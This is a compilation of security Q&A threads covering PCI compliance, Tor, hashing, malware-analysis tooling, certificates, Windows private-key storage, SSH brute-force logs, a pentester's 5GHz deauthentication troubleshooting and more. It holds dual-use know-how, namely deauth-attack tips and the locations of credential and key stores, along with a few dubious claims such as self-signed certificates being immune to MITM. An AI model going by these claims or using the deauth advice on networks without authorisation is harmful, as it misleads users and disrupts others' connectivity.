Suggestion on how to be PCI Compliant I'm working on a system that takes the customers credit card information before sending it to the processor.  It requires me to ask the customer for cc#, CVV, date, one at a time and send that to my server between each request (https, no cookies, cache, or sessions used).  How should I keep track of the data between requests?   I thought about Memcache(d) or storing (encrypted) in a database and deleting as soon as the transaction is completed.  They don't really seem like the best options.  I would appreciate some suggestions if you have some.

First up, I strongly recommend you offload your PCI-DSS compliance obligations entirely by moving the responsibility to capture and process payment credentials over to the payment gateway provider. Most payment providers host the payment capture pages for their clients for this reason. This allows you to simply pass price information and invoice details to the payment gateway and then they return if the customer actually paid. Rolling your own  payment gateway is about as dangerous as rolling your own crypto - worse actually; as you'll be handling money and various banking liabilities.

However, if for some reason you or your organisation doesn't want to use any of pre-existing payment vendors; you will need to keep the following in mind:

You will either need to encrypt or hash any credit card "confidential details" that you record. These include card number, card expiry and account holder name. Hashing is an easier compliance measure to meet than encrypting. Not storing at all is even better.
The CSC/CVV value (number on back of card) is never to be stored on your servers, it is a transient "card present" authentication property only.
I believe nowadays new PCI-DSS compliant websites are being strongly urged to implement 3D-Secure or equivalent, where the user may also authenticate payment with a password entered on a third-party credit network or banking website.
SSL/TLS will often need to be of the highest most expensive type of Extended Validation certificate. Such certificates (and some renewals) also require slow paperwork on official letterheads and authority of delegated "officers" in a given organisational chart. Bob from IT in the basement doesn't cut it (at least until paperwork tells Verisign or the like that Bob is now the delegated officer). This process for new certificates is not fast.
PCI-DSS requires auditing of any login to the servers that store credit card details or participate in any part of the processing chain, from the DMZ reverse proxy to database and backup servers. This includes cloud processing or storage.
PCI-DSS requires auditing and access control of all software development and deployments; which is somewhat at odds with healthy/people trusting Agile projects.
PCI-DSS has some fairly specific ideas of what your network topology should be; an arrangement which may increase costs if you don't already have routers, switches and firewalls arranged in the desired subnet structure.
PCI-DSS expects mainstream databases and web daemons; and which are fully patched and up-to-date. To this effect, auditors will often require you have fully paid-up support contracts for your software. Many auditors (at least when I last had to work with PCI-DSS) will not like open source software where a more familiar "robust" commerical application exists. So expect the possibility of having to shift from PostgreSQL to an Oracle database.
You will need to keep detailed records of any emergency repair personnel or ad-hoc software contractors who have any access to the source code or servers.
You will need to pay for external PCI-DSS auditor on a routine basis.
PCI-DSS external auditing also requires documentation of internal PCI-DSS auditing by the organisation. This both saves the external auditor some time and proves that the organisation actually has to periodically think about their security. Internal audits will also cost money.
This is not a complete list either*. The external auditor can essentially ask for any adjustment to any system or business process to meet compliance. The company can sometimes sign off on a list of audit risks and still get a PCI-DSS certificate, but the company lawyers will scream about the liabilities absorbed by having to sign a "sort of compliant" audit waiver.

So think very carefully about your business' core goods or services. Then consider if establishing and maintaining direct credit card processing is a key product of your business.

* password cycling, shell sudo restrictions, full support documentation, division roles regardless of company size; the list goes on. The PCI-DSS compliance process can take 6 months or more.


Do you really have to go to the extremes this guide says? http://lifehacker.com/how-can-i-stay-anonymous-with-tor-1498876762

Alright, so here's a lifehacker guide on how to remain anonymous. Do you really have to go to this high level of extreme to remain anonymous? For example, is it really not safe to use a VM of Linux on Windows? Do you really have to go to thirty eight different cafes? It would make sense if one had to go to like ten or twelve.

Also, is it really realistic to follow all of this? Someone in the replies of this lifehacker article said that this would be great extremes for "North Korea." Does anyone here agree with him?

Anonymity isn't binary. There is a sliding scale of anonymity on the web.

How much you need to do depends on who is trying to deanonymize you, what resources they have and how much of those resources they are willing to spend on you.

Depending on whether you are considered an advertising target, a nuisance to a specific website, a copyright violator, an actual criminal or a threat to the national security of a state, you need to go to different measures to hide your identity.

That guide seems to be intended for people whose freedom and life depends on their anonymity, like whistle blowers or revolutionaries. When you just don't want Google to know what you buy on Amazon, it's overkill.

By the way, the article says so:

  Consider whether you truly need this level of protection. If having your activity discovered does not put your life or liberty at risk, then you probably do not need to go to all of this trouble.


Does password length / complexity make any difference if hashes are leaked? Password length/complexity only mitigates a brute force attack, correct? In the event of a hash leak, since any algorithm is a fixed length, there could potentially be a pre-image* with a very short / not complex string? Salting notwithstanding.

Say you have a dozen people on a beach. You get each person in turn to pick a grain of sand at random, and without looking at it, write their name on it and throw it back randomly onto the beach.
What are the chances two people write their name on the same grain of sand?
The size of the key-space for human-generated passwords is around 40 bits according to Wikipedia. The key-space for most modern cryptographic hashes is 128 or 256 bits.
This is such an astronomical difference in the sizes of the two sets, the overwhelming majority of possible hash values are not reachable from a typical password. The chances of a collision are like two people picking the same grain of sand on a beach.
To reach a collision, you would typically have to iterate through half of the hash key-space. In doing so you would have to generate a password that is likely to be far longer, and far less like a human-chosen word, that the actual original password would have been much easier to guess.


Website seeing my Facebook data? I recently visited opensecrets.org and was surprised to see a message box in the lower right corner of the window asking if I wanted to talk, and displaying my name.

The pop-up says Chat with opensecrets.org in Messenger.

As far as I know, I haven't allowed Facebook to share any data with this site, so how does this website know my name?

I went on that website and this is what I saw:

They are using the Customer Chat Plugin from Facebook.

They don't know your name, they're just embedding an iframe to allow you to speak with their Facebook page's administrator(s).

Only Facebook knows who you are.


What does the android device name reveal? I was looking at changing the device name on my phone and the only instructions I found were to either root the device or use adb.

This got me thinking: is changing the device name restricted because the device name is packed with device specific information?

What, if anything, does the android device name reveal and what value does it have for tracking users/devices?

As requested an example device name: android-8ad48b628850044

The device name is constructed as follows on first use:

    // setup our unique device name
    if (TextUtils.isEmpty(SystemProperties.get("net.hostname"))) {
        String id = Settings.Secure.getString(context.getContentResolver(),
                Settings.Secure.ANDROID_ID);
        if (id != null && id.length() > 0) {
            String name = new String("android-").concat(id);
            SystemProperties.set("net.hostname", name);
        }
    }

Where ANDROID_ID is a random 64-bit number.

So essentially the device name is unique and does not change during the lifetime of the device. While it does not reveal anything about the device itself, it might be used to track the device.


Analyze a Windows temporary file Short version: Is there any way to analyze a temporary file from the C:\Windows\Temp folder, if is there any code, process, or to what it is associated.

Long version: In a Windows 7 computer, the Antivirus keeps sending messages about a detection of a trojan 'TR/Patched.Ren.Gen [trojan]' in the Temp files when nothing is running in the desktop, but it doesn't give any other information about it, and the system scan doesn't detect it. I managed to save the file before it was automatically deleted.Is there anything useful I can do to gather information about it? I can't change or update the system, because the computer isn't mine.

I have Kali on another pc, so it would be useful if there is a tool there to do such things.

The answer would be useful for both helping the owner of the pc, and learning about information security for future forensic analysis or reverse engineering (Please correct me if I'm wrong)

In these cases if you have a file you wish to analyze saved. The kind of information i think you are looking for comes from reverse engineering.

first things first, you can download sysinternalssuite from a great guy at microsoft who released a series of tools for quick and dirty sysadmin tasks.

https://technet.microsoft.com/en-us/sysinternals/bb842062

most relevant to your case (which is i guess malware analysis) are the following tools specifically:

procmon - shows live changes to the system and what started them
tcpview - shows all tcp connections, where theyre from, where theyre going, and status
Sysmon - get some early boot logging going.
procexp - this will show a detailed version of task manager, with stress values and child processes all in one. one of my favorites for malware.

so the idea here is you will create a VM with the same OS (if possible) as your client computer. and let this thing loose inside it.

before you begin, you install the vm, no virus software, and get the sysinternals tools.

also you want some form of reverse engineering debugger.

IDA - the king of this area, very feature rich, they have a free version, but its older
ollydb - a free debugger with less features, but still does the job well
immunity db - similar to ollydb

these programs will show you the machine code of whatever file you attach them to. you can even step through the execution of the malware one code line at a time.

Basic methodology is as follows:

allow the malware to run wild by itself and use sysinternals to gather some information on the malware and what its doing where in the system, where it tries to connect to, and what kind of processes it creates.
attach a debugger to the malware and run: there will be alot of information, this is why the recon phase is so important, it narrows the scope of what you are looking for. you use this information to try to find the specific areas in the malware that are of particular interest. i.e. copying itself, changing system registries or files, making services on the pc, opening ports etc...

this is a basic overview of how analysis of a black box is done (black box = unknown entity). any additional information also helps this process, knowing the exact malware type also helps you know where to look with these tools for specifics. since those heuristics are already known they should be able to give you search material to find more information on where to look.


Using Self sign certificate in internet Basically the purpose of SSL cert is for trusting each other. If I have an application that only a few clients I know can use, is generating self sign certs enough? Or do I really need to sign with a well known CA such as comodo? That is, I will generate the cert on my server, then I will distribute to my clients and they will install the cert to their browser. Would this still be susceptible to MITM? thanks

The difference between self-signed and public CA signed is that third-party client browsers would receive a security warning because the self-signed certificate is not trusted: It has not been signed by a well known certificate authority, therefore the certificate could be tampered and/or the owner's identity has not been verified.

If you generate a certificate with a secure cipher and key length >2048, you would not be vulnerable to MITM. Only your identity can not be proven, but the integrity and privacy of the HTTPS communication remain.

If you have access to your clients, you can trust this self-signed certificate to avoid the warning banner by adding it to your repository of security certificates whether it is:

Java keystore
Apple Keychain
Windows Certificates Snap-In
Unix /etc/pki/ca-trust/


What should I know about SPDY before enabling it? I've been looking at SPDY for increased performance, particularly with full-site SSL. I understand most of what it does, but I've not had time to go through and do a full review of it. What should I know about it before enabling it? Are there any security implications I should be aware of?

SPDY has been reported to be vulnerable to the CRIME attack, but this will be patched in next protocol version. The specifics of CRIME target HTTP cookies, so the fixed protocol will do something special when compressing cookies (namely, it will not compress cookies with the rest of the headers; instead, it will use a dedicated channel to transport the cookie values, with a specific code stating "same cookie than previously").

As a general rule, encryption leaks data length, and compression (any kind of compression) makes the length dependent on the data byte values, thus increasing the information leakage. Encryption and compression don't mix well together. I personally would recommend not activating SPDY for HTTPS. For plain HTTP, however, go on; it won't make things worse security-wise than the mere fact of using plain HTTP.

It would be interesting to gather some hard data on the actual bandwidth benefits of SPDY. Google initially boasted about making page loading "55% faster" but this was in lab conditions. Actual speed-ups may vary quite widely on the kind of request that the site handles. As usual, there is no performance issue unless demonstrated by unambiguous measures.


How can I enumerate all the saved RSA keys in the Microsoft CSP? I have an application that is creating several keys and storing them in various stores (in this case the Machine store).

How can I enumerate all the keys on a given Windows system?

      CspParameters cspParams = new CspParameters();
        cspParams.KeyContainerName = containerName + " " + g.ToString() ;
        cspParams.Flags = CspProviderFlags.UseMachineKeyStore;

        // Create a new RSA key and save it in the container.  This key will encrypt
        // a symmetric key, which will then be encryped in the XML document.
        RSACryptoServiceProvider rsaKey = new RSACryptoServiceProvider(cspParams);
        rsaKey.PersistKeyInCsp = true;
        Console.WriteLine(rsaKey.ToXmlString(false));
        string PublicKeyTest = rsaKey.ToXmlString(false);

These keys are stored in the locations listed at the bottom of this post.  Many network administrators aren't aware of the purpose of these files, and some forum posts on the web incorrectly advise people to delete these files.  Of course, the impact of such an action is implementation/application specific.  I was not able to read the files using the following code (perhaps some change is needed)

  var files = System.IO.Directory.GetFiles(@"C:\ProgramData\Application Data\Microsoft\Crypto\RSA\MachineKeys\");

        foreach (var f in files)
        {
            RSACryptoServiceProvider rsaKey = new RSACryptoServiceProvider();
            var readFile = File.OpenRead(  f.ToString());
            byte[] FileOut = new byte[readFile.Length];
            readFile.Read( FileOut, 0, (int)readFile.Length-1);
            rsaKey.ImportCspBlob(FileOut);

        }

It appears that the tool "User State Migration tool" is required to move this data from one computer to another.  In addition some tool will need to expose the keys from CryptoAPI to the CNG after such a move.

I am not aware of any way to view the related files containerName referenced in the CSP.

  The Microsoft legacy CryptoAPI CSPs
  store private keys in the following
  directories.

User private

%APPDATA%\Microsoft\Crypto\RSA\User SID\
%APPDATA%\Microsoft\Crypto\DSS\User SID\

Local system private

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-18\
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-18\

Local service private

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-19\
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-19\

Network service private

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-20\
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-20\

Shared private

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\MachineKeys

  CNG stores private keys in the
  following directories.

User private
%APPDATA%\Microsoft\Crypto\Keys

Local system private
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\SystemKeys

Local service private
%WINDIR%\ServiceProfiles\LocalService

Network service private
%WINDIR%\ServiceProfiles\NetworkService

Shared private
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys

Reference:

http://msdn.microsoft.com/en-us/library/bb204778(v=vs.85).aspx

LDAP

These keys are also stored in LDAP if credential roaming is enabled

ldifde.exe -s %LOGONSERVER% -f cscverify.ldf -r "(cn=USERNAME)" -l msPKIAccountCredentials,msPKIRoamingTimeStamp,msPKIDPAPIMasterKeys

Replace the word USERNAME in this command with the user name where credential roaming does not work. To ensure that Active Directory replication was already performed, use the -s option in the command and replace %LOGONSERVER% with the server the user actually logs on to. Make sure that the cscverify.ldf file shows values for the exported attributes.

The size of the LDAP entries is controled by DIMSRoarmingMaxNumTokens  and DIMSRoamingMaxTokenSize  registry keys (source)


Is someone trying to hack into my server? I'm a cyber security student and don't do server stuffs on regular basis, I was just wondering how to check SSH login logs and found that it can be checked using sudo cat /var/log/auth.log and checked on my server and there were lots of Failed password for root from [IP] This is a newly installed remote server there's no way I could have logged so many times.

Then I read it carefully it says Failed password for root from [IP] I was like what? Its for root? I have created my separate user account and except the first time when I had to create a new user account I have never touch root user. It seems to me someone is trying his luck by bruteforcing for credentials. Still, I wanted to ask my seniors here what they think?

I've nothing running on this server not even apache, nginx etc. Only SSH port is open and AFAIK there's no recent SSH vulnerability in public knowledge.

And one more important thing I wanted to ask is, being a security student this really grabs my attention and makes me more curious to understand about this. Why would someone run scripts to bruteforce and scan new servers? I mean what would he get, there's barely anything in my case. Initially, I thought maybe he wants to spread malware using my server but if someone has the resources to scan the entire internet he surely has resources to do that himself. Maybe he just want to add servers into his list of compromised servers and use all of them together as a botnet, so many thing going on my mind. What would he do with a new server?

EDIT: Something I realized today is, as security student I was understanding things from offensive side. Now when I have setup my server I really understand the need to know things from defensive side as a pentester. If any student reading this, I would say understand defensive side as well. I would also learn from now.

It seems to me someone is trying his luck by bruteforcing for
  credentials.

Yes, that's the likely cause.  Any machine connected to the Internet and listening to SSH will be hammered with login attempts, especially for root.

  AFAIK there's no recent SSH vulnerability in public knowledge.

Correct.  They're just hoping you have a weak, guessable password.

  Why would someone run scripts to bruteforce and scan new servers? ...What would he do with a new server?

Because all servers are useful - as members of a botnet, if nothing else.  If they get in, they may use it to scan the Internet looking for weak SSH credentials!

Because some servers are valuable - hey, look, credit card info! - and the attacker doesn't know if yours is valuable or not until he owns it.  He won't ignore servers just because they might be less valuable.

Because some servers have access to other servers that aren't publicly available.

Because more is better.

The lesson to learn is that every system on the Internet is a target, all the time.  As a security student, that is what you must learn to expect.


Can Tor nodes infect my computer with malware? Can I get "hacked" by a Tor node?
My computer is sending packets through the Tor nodes and receiving packets from them as well.
Can I be sure that there are no Tor nodes that manipulate the packets sent through them and could infect my computer with malware?

Some Tor exit nodes are known to be hostile, typically injecting advertising Javascript into any unencrypted web page that passes through them.  There's no reason such nodes can't inject attack Javascript or other malware.

Barring a security flaw in the Tor software itself, an entry or relay node cannot attack your computer (other than trivial attacks such as traffic flooding) because they can't perform the encryption needed to modify packet contents (only the exit node can).

In general, any traffic you send through Tor should be encrypted, to prevent the exit node from sniffing or tampering with it.


How do computers store printer presets? When you connect to a printer on MacOS or Windows, the system stores the printer so you can connect to it later. Does anyone know which criteria is referenced to validate it is the same printer when you connect to it again?

What if a preset printer went offline and another one took its place with the same IP, MAC address, and hostname? Would it recognize it as a different printer?

I’m guessing that there has to be some extra measure of security, but have failed to find any information on the internet.

There is the IEEE 802.1x standard that defines port-based, authenticated network access control for Ethernet local area networks (LANs). With 802.1X, the user or device (eg printer) must pass network access control by successfully authenticating with credentials, such as a name and password, or network access is denied.

The 802.1x uses the Extensible Authentication Protocol (EAP) to relay port access requests between LAN endpoints and the clients being authenticated, Ethernet switches or wireless access points and RADIUS authentication servers.

The 802.1x with AES encryption is considered a secure solution for wireless networks but requires that each device is configured with the correct EAP method and authentication credentials.

These are optional standards and also not used in most networks and printers.


Setting up NAT with firewall for RDP connection I have a vendor who needs to connect remotely to one of our servers. What I thought I would do is setup a NAT rule in our firewall. I have a public IP address that I will have translated to the local server address so that then the vendor just needs to RDP to the public IP address. Is this a secure way to have the vendor connect? I can restrict the service to port 3389 and set the source IP address to only accept the vendor's public IP address.

Source address restriction is a good idea if your vendor use static IP addresses.
Btw, as Mike Naylor mentioned, you should translate to non-standard port instead of 3389 to prevent insider threats from your vendor.
The last point is you can limit connection rate to prevent brute-force or flood attacks even when attacker know the service's port.


Using authentication only one time passwords I would be interested in advice.
Imagine a authentication mechanism where users are authenticated ONLY using
some code (e.g., one time password) which they receive (say as SMS) on their mobile phone?

Is it secure? I think it is not a good practice to rely authentication only
on such codes which come on mobile phone, because someone can just
steal your mobile phone and that's it.

I think better alternative would be to combine the above mechanism with a username/password
authentication. What is your opinion? What are the best practices in such direction?

I'd say just a code on the phone is weaker than username and password (because you can loose a phone and someone might abuse it). Combining them is a form of multi-factor authentication:

something you know (password and username)
something you have (phone with text message)

and depending on the level of authentication you need, this is considered a good and strong form of authentication.


Why should authorization servers document the size of client identifiers? In section 2.1 of the OAuth2.0 RFC, it states the following regarding the client identifier:

  The authorization server SHOULD document the size of any identifier it issues.

What is the point of doing this?

Some identifiers may be stored in a database or another format which specifies the size of fields.

It would be a pretty common case where a developer wanted to store authorization tokens in their database.  Here's a real world example.

In the case I linked above, the token used to be under 255 characters, which would fit in a VARCHAR(255), but Facebook has been sending access tokens with more than 255 characters.

This may not seem like much of an issue, because a developer could set their varchar to 8000 or whatever their DB max size is, but in some MySql instances, having a UTF-8 VARCHAR over 255 can lead to issues indexing the tables.

There's a lot of nuances that could inform design decisions, if the developers know what they're going to be getting back from a authorization server, and if it changes, it's better to have that documented somewhere, rather than just have it fail one day and have no idea what happened.


Are WhatsApp or Telegram secure enough to use for office communication? We are thinking about switching from e-mail to instant messaging. Do you think, Apps like WhatsApp or Telegram provide enough security for that?

It depends on what you mean by "secure enough". If unencrypted, unauthenticated messaging is secure enough, then yes. Otherwise, no.

WhatsApp's security model is secret and unverified. They claim to encrypt messages but don't give any ideas of how. The safest best is to assume no end-to-end encryption actually happens (which is probably the case anyway).

Telegram's security is more public, but is also a bit of a public disaster. This is discussed in another question, but the general idea is they made up their on cryptographic protocol which turns out to be an utter failure from a cryptography standpoint. While the team that designed the protocol is full of Math Ph.Ds and all the best intentions, their cryptography experience was severely lacking. As a result, they make impossible claims while failing to deliver on even the most basic security requirements.

If you're looking for a secure mobile messaging app, I would suggest TextSecure, it's open-source and therefore publicly verifiable, and also written by actual cryptographers who understand the technology they're working with. RedPhone, from the same group, adds encryption to voice calls.

As a lesser alternative, there's Threema: Each user's identity is tied to a public key which is used to decrypt the messages sent. The app design encourages in-person key exchange to improve security. Not open source, though, so the security is not verifiable.


Why do certificate authorities often require/use multiple intermediates? I suppose this is related to What is an intermediate certificate authority? but I think my question is a bit different so I'll ask it anyway.

Why do most modern certificate authorities (e.g. VeriSign) require two intermediates? And if more than one is necessary for security purposes, why "just" two?  Why not three? Or four?

I think it's more of a security concern as highlighted in 1.

CAs like VeriSign uses the  two-tier hierarchy (or trust chain) concept to provide more security. This is because the roles of the primary and secondary CAs are separated and may be hosted in different servers, maybe in different geographical locations.

So, most probably more precautions are taken to safeguard the private keys of the primary CA than the other intermediate CAs (which have lesser "certificate issuing" power). Hence, the compromise of one intermediate CA does not directly lead to the compromise of the primary CA or other CAs.


Ransomware encrypted first 64 kB of file I heard about a ransomware virus going around that encrypts only the first 64 kB of a file.  If I was infected with this, would it be realistically possible to retrieve my files?

Not really. If the files had a very large common header (64kb or more), you might be in luck, else you're essentially trying to guess 64,000 "characters". Assuming the file used only 64 characters (e.g. it was a Base64 encoded file), for example purposes, that would be 64^64000 possibilities. That's a number with over 100,000 digits in.

Given that guessing a 12 character long password is considered "hard", and that only has 64^12 (4,722,366,482,869,645,213,696 - only 22 digits!) possibilities, you can see the issue. Guessing a 64kb "string" is over 4500 times harder, and that's ignoring that files aren't restricted to 64 characters in reality.

In practice, a lot of file types wouldn't require all the bytes to be guessed, but most file headers are much smaller than 64kb, so there will be quite a lot of unknown data even so.


How to send sensitive data through an email? Many times I have been in situation where I needed to send something sensitive, like my personal data, medical report, or something else over the email.

In my country governmental institutions do not support or offer PGP encryption when sensitive data is transmitted.

How can I protect my documents? Any ideas?

In the general sense, you can't - if it is attached in readily usable form. However, if you can communicate a password out-of-band (perhaps by a phone call), and the recipient is willing to unzip your documents, you could send them in an encrypted zip file. Be aware, though, that some email filters will delete any zip files that they can't open, and that once the data has been unzipped, it may well be sitting around on someone's computer.

It's very hit and miss as to what companies will accept though.


Does every security patch get back ported to every .NET framework?  Are there exceptions to the rule? I can imagine a scenario where Microsoft will create a security patch for some versions of .NET and not others.  This might occur in occasions it's too expensive to regression test and back port all the changes.

Are there any examples of some security fixes created for one framework and not another?

This information would be used to access risk of legacy .NET applications that have not been migrated to the latest and most supported version of the .NET framework.

If you visit http://support.microsoft.com/lifecycle/search/default.aspx?sort=pn&alpha=.net+framework you'll see Microsoft's support lifecycle for the .NET framework.

As you can see, many of the older versions are no longer supported, so Microsoft do not promise they will issue security patches for them, and you should no longer use them.


HMAC: How unique does a nonce need to be if the Date is also part of the signature? In a HTTP scheme where the HMAC-SHA256 signature is sent as part of the Authorization header, and the message input contains:

The request method
URL
Post data
Nonce
Date HTTP header

How unique does the nonce need to be, or, for how long should the nonce be disallowed to be re-used?

For example, if I enforce uniqueness of (Date, nonce) rather than enforcing absolute uniqueness of the nonce on its own, have I introduced any weakness to replay or other kinds of attack?

When another second of time elapses, the signature changes (due to the Date header), so if I re-use a nonce from 1 second ago, it should not be a problem, right?

You need to take in consideration the allowable time window (to compensate for Clock drift). If you allow Date's with a time window of plus/minus 10 minutes (total: 20 minutes) you need to use nonces that are unique on the whole time window, and you also need to store spent nonces from that time period.

To avoid a race situation where a nonce is being deleted from the "spent" list Before the Date: header of the used nonce has became invalid, it would be recommended to store the spent nonces from the last 40 minutes, and also use nonces that are unique for 40 minutes.

Then you have a practically a watertight solution.

In other Words, if you would allow a nonce to be reused after 1 second, a attacker can just resend the old request with the old date header, since if you allow a time window - which you must because you cannot ensure the client Clock is synced with the server, then you would accept a request with a spent nonce.

If you reallywant a good nonce, use H(Time, Nonce) where H is a decent hash function. Then you can use "non-unique" nonces as long as you dont generate 2 equal nonces the same second. Then you get unique hashes to use as nonces.


How can I recover steganographically hidden data from a photographic copy of the image? I need to photograph an image containing a steganographically hidden message, then decode the stego content from the photograph without recourse to the original image data. Are there any steganography algorithms that would make the task more reliable?

Note: I tried the Least Significant Bit (LSB) method, but when I processed the photos from the camera there was too much distortion.

There are multiple ways to perform steganography using images.  The kind most people are familiar with today is to embed invisible (or barely visible) data in the data of the image file.  That means starting with an ordinary image file, then using steganographic software to modify the file to embed the secret message, then publishing that photo so it can be viewed by a conspirator.  Such modifications can be as simple as LSB; or they can hide data in the JPEG quantitization of the image; or they can invisibly hide data in an embedded thumbnail image or the metadata of the photo.  Different schemes have different visibility.

Consider selecting a "more visible" steganographic algorithm than just LSB.

One example might be to modify a GIF palette substitution steganography scheme.  Using GIFs for stego can be done by choosing 128 doubled colors instead of 256 single colors, then choosing high-bit or low-bit versions of each pixel to transmit the message.  Because the low bit colors in the palette are the exact same color as the high bit colors, the stego is normally invisible (although the picture quality is degraded due to the reduced number of colors in use.)  By altering each of the high-bit colors slightly, you could make them more visible to the camera.  The advantage of using the GIF scheme is that you can test your scheme by keeping the color changes small, and tweaking the high bit colors just a little at a time until you can reliably decode the message.

Also, consider encoding your stego data using error correcting codes, such as a Reed-Solomon encoding.  These are used by systems such as QR codes to reliably allow scanning when part of the code is damaged or obscured.  If you don't want to spend that kind of effort, try repeating the plaintext message dozens of times and spread it throughout the image, improving your chances of detecting it from one or more places in the image.

EDIT: In your comment, you mentioned you were trying to use JPEG pictures from your camera. Don’t. They will not work because JPEG is designed to combine “close” colors in order to compress the image, and this will totally obliterate any evidence of stego. You need to process the image file as RAW, not JPEG.

Based on your comment, I now realize you may also run into problems with the color response of your camera, and how it will perceive the colors in your image. The traditional RGB approach probably won’t work, especially since the camera’s RGB color values won’t be the same as your monitor’s color values. If you try this, you may have to calibrate your camera’s color response. Or, you can try converting the colors in your camera picture into a color space better suited for comparisons.

Translating each pixel into the L * a * b color space would probably be the best way to spot differences.

All this is horribly complex, and will probably require a degree in digital image processing. Can you instead find a way to hide a QR code in the original image?


Enterprise Wireless 5Ghz deauth I am running blackbox pentests on an enterprise wireless setup. My area of attack consists of multiple APs that have a 2.4 GHz interface and also a 5GHz one.

I have successfully deauthenticated users from the 2.4 GHz interface and they jumped to the 5 GHz one.

The problem comes when I try to deauth them from the 5Ghz. Expectations are that they will jump back to the 2.4Ghz frequency or they will be temporarily deauth, but neither case appears to be happening from my understanding.

When I am running the deauth attack I constantly receive acknowledgements of deauth (or ACKs) from both the targeted AP and targeted victim's MAC but the connection to the internet is still alive and no interference is noticed in the targeted machine. I am thinking that the AP monitors the deauth incoming packets and if there is a larger sequence it will deflect it but this should be replicated on the 2.4 GHz interface too.

Is this due to something within the 5 GHz protocol - does the re-connection from the 5 GHz happen too fast for the victims machine to notice?  Is it backwards compatible? (I mean, does the jump from 5 to 2.4 is actually real and can happen ?)

Note: The tests are done correctly with the correct devices and tools (mdk3, aireplay and other custom made tools) according to the requirements laid out in their respective manuals.

Deauth can be tricky.  Let's look at some common issues from Aircrack-ng's page on Deauthentication.

  You are physically too far away from the client(s)

How close are you?  Can you get closer?  If not, have you considered a better card?  The Alfa cards are a favorite for this type of work.  See them in action here and here.  By better I mean louder with chipsets having more mature drivers.  I am suggesting the Alfa AWUS051NH.  The TP-Link TL-WDN3200 you are using can work, but it has a history of funny driver issues in Kali Linux.  Just a suggestion.

  Some clients ignore broadcasts deauths

You said you targeting an enterprise device?  Is it made by Cisco?  Does it have have IEEE 802.11w-2009 turned on so that it encrpts it's management frames?  That would defeat your deauth attempts.  However, you did say that you can SEE the deauth ACKs, yes?  So, it looks like it's working...

  Clients may reconnect too fast for you to see that they had been
  disconnected.

And this is it, no?  You ARE deauthing the client and they are reconnecting too fast for you to observe a service interruption.  What did you expect to see?

Hope this helps.


Is a yubikey with OpenPGP applet more secure then saving the private key in a encrypted USB stick? If I understand correct, Yubikey with OpenPGP applet just holds your private keys, protects them with a password and make them available through pkcs11.

But what is the point of using a Yubikey with OpenPGP applet if the computer needs to read the private key out of it to sign or encrypt? Isn't it the same as storing my private keys in a usb stick and protect it with a password?

With Yubikey the private key does not leave the stick. Any cryptographic operations which need the private key are executed on the Yubikey itself. This is the same concept you have with other kinds of smartcards.

Contrary to an encrypted USB stick the private key is thus never accessible on the computer. If an attacker has compromised the system he can at most trick you into signing something you don't want with Yubikey plugged in. But with the encrypted USB stick mounted the attacker can actually steal your private key and thus use it whenever he wants even outside of your system.


Lots of TLSCiphertext length MUST NOT exceed 2^14 + 2048 in wireshark We have small network with ~20 clients (Wifi and Lan). I captured a few seconds of our network traffic with wireshark and encountered a lot of TLSCiphertext length MUST NOT exceed 2^14 + 2048  errors in the expert analysis for different IPs. Below a screenshot of the filter ssl.record.length.invalid. The destination is always a client IP in our local network. Sources are various outside IPs.

I read the RFC5246 specs and a bit about the Heartbleed bug. All  routers /firewalls in our network are patched for the OpenSSL bug. Furthermore, from time to time we also have an invalid heartbeat payload length error visible in Wireshark. I googled a bit around but I am unsure how severe is this error?

Here is a more detailed output of one of the Encrypted Alert, Ignored Unknown Record messages:

Secure Sockets Layer
    TLSv1.2 Record Layer: Encrypted Alert
        Content Type: Alert (21)
        Version: Unknown (0x9620)
        Length: 59447
            [Expert Info (Error/Protocol): TLSCiphertext length MUST NOT exceed 2^14 + 2048]
                [TLSCiphertext length MUST NOT exceed 2^14 + 2048]
                [Severity level: Error]
                [Group: Protocol]
        Alert Message: Encrypted Alert

This looks like a wrong interpretation of the data. What most likely happened is that some TCP segments got out of order or lost, confusing the TLS dissector in Wireshark. This seems to be supported by your observation of retransmitted packets.

Some applications also do not align the start of a TLS records with the begin of a TCP segment when a lot of data is being pushed, filling up a full TLS record.

When Wireshark loses track of the start of a TLS record, it will guess that the start of a TCP segment coincides with the start of a TLS record. Clearly that will not work if the previous case applies. If you right-click on the packet and use Follow Stream -> TCP stream, you'll most likely see some "Ignored Unknown Record".

Assuming you have have captured all packets, you can fix out-of-order TCP segments handling by enabling a TCP preference, see https://wiki.wireshark.org/TLS#Preference_Settings

As for the expert info on exceeding the record size, that was added to help catching implementation bugs where a too large record was sent. In your case it is bogus. See these commits:

https://gitlab.com/wireshark/wireshark/commit/ff0371e898
https://gitlab.com/wireshark/wireshark/commit/bb1450b017


Does google's reCAPTCHA mitigate DDoS attacks? I was reading this post from half a decade ago about the pros and cons of using captcha during a DDoS attack (How does CAPTCHA mitigate DDoS attacks?)

At that time there seems to be basically 2 opinions:

  1) Captcha is good when DDoS is happening because it only requires a check for the captcha itself, no password hash and database hit if captcha fails.

  2) Captcha is bad during DDoS because it requires processing to check
  the captcha making the request take up even more processing.

Today reCaptcha is everywhere. Most of us do not generate and check captchas on the server side, but just make a POST call to google to verify if the posted captcha is valid, how does this compare to hashing the pass and hitting the database in terms of processing time?

The POST request seems to takes longer, but the auth verification takes more processing time. How does this impact the server during a period of a DDoS attack?

I'm not sure about this one.

Captcha helps against brute-force attacks, e.g. someone logging onto your forum to upvote their favorite anime character on a survey, but Captchas don't help against a network level attack, where an attacker with a botnet is just flooding your server with http/tcp requests, causing it to fall over.

In short, a network level DDOS isn't mitigated by captchas. But they can be used for when you want to limit bot-interaction to your APIs or website, to ensure only humans are accessing it. This limits the traffic pumped through your servers, and generally help with the volume.


Can HPKP be used to track users? There is already a large flora of "supercookies" and browser fingerprinting methods out there. I am wondering whether HPKP provides yet another method to track users?

